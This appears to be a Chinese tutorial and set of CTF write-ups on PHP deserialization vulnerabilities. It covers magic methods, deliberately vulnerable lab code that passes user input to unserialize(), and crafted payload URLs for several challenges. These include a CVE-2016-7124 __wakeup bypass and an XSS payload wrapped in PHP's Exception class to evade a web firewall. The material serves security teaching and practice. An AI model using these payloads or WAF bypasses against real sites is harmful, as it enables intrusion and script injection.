序列化漏洞
所谓序列化,就是将⼀个变量的数据转换为字符串(但是与类型转换不同)。其⽬的是将该字符串存储起来(存为⽂本⽂件),当在其他环境上运⾏时,可以通过反序列化,将其恢复。(⼀般⽤在数据需要存储的地⽅)
serialize() // 将⼀个对象转换成⼀个字符串
unserialize() // 将字符串还原成⼀个对象
一、无类序列化
(一)案例
1.php
<?php
error_reporting(0);
include "flag.php";
$KEY = "derry";
$str = $_GET['x'];
if(unserialize($str)===$KEY)
{
echo "$flag" ."</br>";
}
show_source(__FILE__);
?>
flag.php
<?php
$flag ='this flag';
?>
思路
从1.php的代码中判断将derry进行序列化,
s:5:"derry";
然后在做拼接http://127.0.0.1/1.php?x=s:5:%22derry%22;
(二)案例
ctf1
<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else
{
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body><br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Passwor
d"></p>
<p><input value="Login" type="button" /></p>
</form>
</div>
</body>
</html>
<?php
}
$KEY = 'ISecer:www.isecer.com';
?>
浏览代码发现关键字段,可以bp抓包
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
最后也提到了key,但是根据代码执行逻辑,这句话其实并没有被执行,是误导项会加大任务量
$KEY = 'ISecer:www.isecer.com';
所以key其实是个空值
抓包时候要注意:需要输入账号密码后点登录抓到的包和直接访问抓到的包是不一样的
Cookie: ISecer=s:0:"";
GET /ctf1.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 F
irefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: ISecer=s:0:"";
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
即可成功拿到fiag
二、类序列化(需要映射)
案例2.php
<?php
class Person{
public $name = 'derry';
public $age = 18;
}
$p = new Person();
$obj = serialize($p);
print_r($obj);
?>
O:6:"Person":2:{s:4:"name";s:5:"derry";s:3:"age";i:18;}
O=object
6=Person长度是6
2=两个属性(name:derry、age:18)
i=int整型
<?php
$clz = 'O:6:"Person":2:{s:4:"name";s:5:"derry";s:3:"age";i:18;}';
print_r(unserialize($clz));
?>
这样写反序列化不完整失败,需要映射,修改为
<?php
class Person{
public $name = 'derry';
public $age = 18;
}
$clz = 'O:6:"Person":2:{s:4:"name";s:8:"derry666";s:3:"age";i:18;}';
$per = unserialize($clz);
print_r($clz);
echo "</br>";
echo $per->name;
echo "</br>";
echo $per->age;
?>
三、魔术方法
*重点(一)__construct
这是一个构造函数方法,当一个对象被创建时自动调用。function __construct()
*重点(二)__destruct
这是一个析构函数方法,当一个对象被销毁时自动调用。function __destruct()
(三)__sleep
当我们将一个对象序列化为字符串时调用。function __sleep()
*重点(四)__wakeup
当我们将一个对象反序列化为字符串时调用。function __wakeup()
(五)__get
当我们尝试访问一个不存在的私有属性时被调用。function __get()
(六)__set
当我们尝试设置一个不存在的私有属性时被调用。function __set()
(七)__call
当我们尝试调用一个不存在未定义的方法时被调用。function __call()
(八)__callStatic
当我们尝试调用一个不存在的静态方法时被调用。function __callStatic()
(九)__toString
当我们尝试以字符串的形式输出一个对象时被调用。function __toString()
(十)__clone
用于对象的克隆操作。使用关键字cione复制一个对象时被调用。可以复制对象的属性或者执行其他必要操作。function __clone()
(十一)__isset
当对不可访问属性调用isset()或empty()时被调用。function __isset()
(十二)__unset
当对不可访问属性调用unset()时被调用。function __unset()
(十三)__invoke
将对象当函数时会执行这个方法,不建议这么用。
四、CTF真题解析
(一)2020-⽹鼎杯-⻘⻰组-Web-AreUSerialz
1.搭建靶场
NewFlag.php
<?php
class NewFlag {
public static function getFlag($fileName) {
$res = "flag error";
if($fileName ==="NewFlag.php") {
$res = "flag:{this is flag}";
}
return $res;
}
}
?>
ctf2.php
<?php
include("NewFlag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
// 表⾯上 在这⾥,其实没⽤,因为根本没有机会调⽤到这⾥
function __construct() {
$op = "1";
$filename = "tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = NewFlag::getFlag($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
【这个是 ⼊⼝ 重点 重点分析此处】
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str); // 我们 思路 的 猜想,以为是调⽤ __wakeup函数
}
}
?>
2.分析代码构造数据
<?php
class FileHandler {
public $op=" 2";
public $filename="NewFlag.php";
public $content="cs";
}
$fh = new FileHandler();
echo serialize($fh);
?>
https://www.jyshare.com/compile/1/
3.夺旗
运用在线工具进行序列化,然后访问
http://127.0.0.1/ctf2.php?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;s:2:%22%202%22;s:8:%22filename%22;s:11:%22NewFlag.php%22;s:7:%22content%22;s:2:%22cs%22;}
即成功拿到flag
(二)[极客大挑战 2019]PHP
1.搭建靶场
https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]PHP

2.思路
(1)
网址好像是随机变化的,找一下他的子目录,7kbscan扫描(扫描前匹配一下字典)
经过扫描找到一个压缩包
http://6af3379f-d327-453e-96ea-352dc252c0dd.node5.buuoj.cn:81/www.zip
(2)
下载了解压看看,发现index.php(任何网站访问第一步都会默认激活index),所以直接分析index
<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<title>I have a cat!</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<link rel="stylesheet" href="style.css">
</head>
<style>
#login{
position: absolute;
top: 50%;
left:50%;
margin: -150px 0 0 -150px;
width: 300px;
height: 300px;
}
h4{
font-size: 2em;
margin: 0.67em 0;
}
</style>
<body>
<div id="world">
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
</div>
<div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script src="index.js"></script>
</body>
</html>
发现入口
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
(3)
需要找select的序列化码。与之相关联的是class.php。分析class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
这个的核心是要绕过function __wakeup(),进入if终止程序。
原理是到最后username === 'admin'进入if终止了程序,但是在之前会通过function __wakeup()反序列化为字符串使username 永远会返回'guest',不会赋值为'admin'。
只要function __wakeup()不执行就会顺利进入if
(4)
CVE-2016-7124漏洞
影响版本:PHP5 < 5.6.25;PHP7 < 7.0.10
漏洞原因:
如果存在 wakeup方法,调用unserilize()方法前则先调用wakeup()方法,但是序列化字符串中表示对象属性个数 ⼤于真实的属性个数时,会跳过__wakeup的执⾏
(5)
先将class.php分析出来的进行序列化
<?php
class Name{
private $username = "admin";
private $password = 100;
}
$n = new Name();
echo serialize($n);
?>
序列化后
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
先让对象属性个数 ⼤于真实的属性个数,修改为
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
属性前加%00Name%00,有几个属性就要加几个(案例中有username和password两个)
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
加 %00Name%00 才有⽤,本质是因为 ⽬标系统的 Name 类中,username 和 password 属性是 protected 或 private,⽽⾮ public
public也需要加,都需要加, 是 系统的内置类中,规定的。 习惯就是,序列化执⾏有问题,再增 加%00Name%00 试试
(6)
最后得到
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
拼接到在线地址访问,不要访问本地
http://6af3379f-d327-453e-96ea-352dc252c0dd.node5.buuoj.cn:81/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

(三)CTF---XSS
1.搭建靶场
ctf_xss.php
<?php
highlight_file(__file__);
$a = unserialize($_GET['k']);
echo $a;
?>
2.思路
直接给弹窗进行序列化
但是有时候会遭到蓝队的拦截,这时候就需要,使用原生类绕过安全狗
例如:Exception
<?php
$e = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($e));
?>
O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
然后拼接访问
127.0.0.1/ctf_xss.php?k=O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
3.可以使⽤下⾯代码查看有哪些原⽣类
clz.php
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}